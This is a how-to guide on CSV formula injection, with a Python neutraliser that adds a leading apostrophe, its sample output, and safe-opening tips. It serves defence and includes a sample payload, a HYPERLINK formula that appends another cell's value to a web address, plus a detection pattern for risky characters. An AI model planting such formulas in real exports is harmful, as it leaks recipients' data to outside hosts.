How to make a CSV file safe to open in Excel
A CSV file is plain text, but a spreadsheet does not treat it that way. When Excel, Google Sheets or LibreOffice opens a CSV,
a cell that starts with = is read as a formula. So are cells starting with +, - or @,
and a leading tab or carriage return can have the same effect. This is known as CSV injection or formula injection
(OWASP description).
Why it matters
Most CSV files you open were filled in by other people: sign-up forms, shop orders, survey answers, CRM exports. Anyone who can type into one of those fields can type a formula. When you open the export, the spreadsheet may evaluate it. A formula can show a misleading value, build a link that carries data from other cells to a web address, or, in older setups, try to start other programs. Spreadsheets usually show a warning for the most dangerous cases, but the safest file is one where nothing is read as a formula at all.
The usual fix: a leading apostrophe
The common defence, and the one OWASP describes, is to put a single quote (') in front of any cell that starts with one of
those characters. The spreadsheet then reads the cell as text instead of running it. In our test in LibreOffice Calc 26.8, with formula
evaluation on, a file protected this way produced no formulas when it was opened, saved as CSV and reopened, and the apostrophe stayed
visible in the cell. We have not yet tested Microsoft Excel, which may display the apostrophe differently.
| Cell in the export | After neutralising |
|---|---|
=HYPERLINK("http://…"&B2,"Click") | '=HYPERLINK("http://…"&B2,"Click") |
@SUM(1+1) | '@SUM(1+1) |
+44 20 7946 0000 | '+44 20 7946 0000 |
-5 or +3.5 (plain numbers) | unchanged |
Two trade-offs to know about. Plain numbers such as -5 are usually left alone, so negative amounts stay numbers. Values
like phone numbers that begin with + do get the apostrophe. And the apostrophe is a real character in the file: another
program that reads the CSV (a database import, a script) will see it, so neutralise the copy you open or share, not the copy you feed into other systems.
Do it with Python
This reads every value as text, adds the apostrophe where needed, leaves plain numbers alone, and writes a new file. It uses only the standard library.
The sample file export.csv contains a hyperlink formula, an @SUM formula, a phone number, a plain positive number and a value in scientific notation.
import csv, re
risky = re.compile(r"^[=+\-@\t\r]")
number = re.compile(r"^[+-]?(\d+(\.\d+)?|\.\d+)$")
def safe(value):
return "'" + value if risky.match(value) and not number.match(value) else value
with open("export.csv", newline="", encoding="utf-8-sig") as src:
rows = [[safe(v) for v in row] for row in csv.reader(src)]
with open("export-safe.csv", "w", newline="", encoding="utf-8-sig") as dst:
csv.writer(dst).writerows(rows)
for row in rows:
print(row)
['Name', 'Comment', 'Amount']
['Ann', '\'=HYPERLINK("http://example.com/?x="&B2,"Click")', '-5']
['Bob', "'@SUM(1+1)", '+3.5']
['Cy', "'+44 20 7946 0000", '12']
['Dee', "'-1e3", '7']
Numbers in scientific notation (such as -1e3) do not match the number pattern, so they get the apostrophe too, as the last row shows. Adjust the pattern if your data uses them.
Before you open a file you don't trust
- Open it in a plain text editor first and look for cells that start with
=,+,-or@. - Or import it instead of double-clicking it: in Excel, Data › From Text/CSV and set the columns to Text, so values are not interpreted.
- If you produce exports for others, neutralise them when you write the file, so every recipient is protected.
Last updated 2026-10-27. Code on this page was run on that date and the output shown is the real output. Spreadsheet menu steps are written from Microsoft's and Google's documented behaviour; where we have not run something ourselves, the page says so.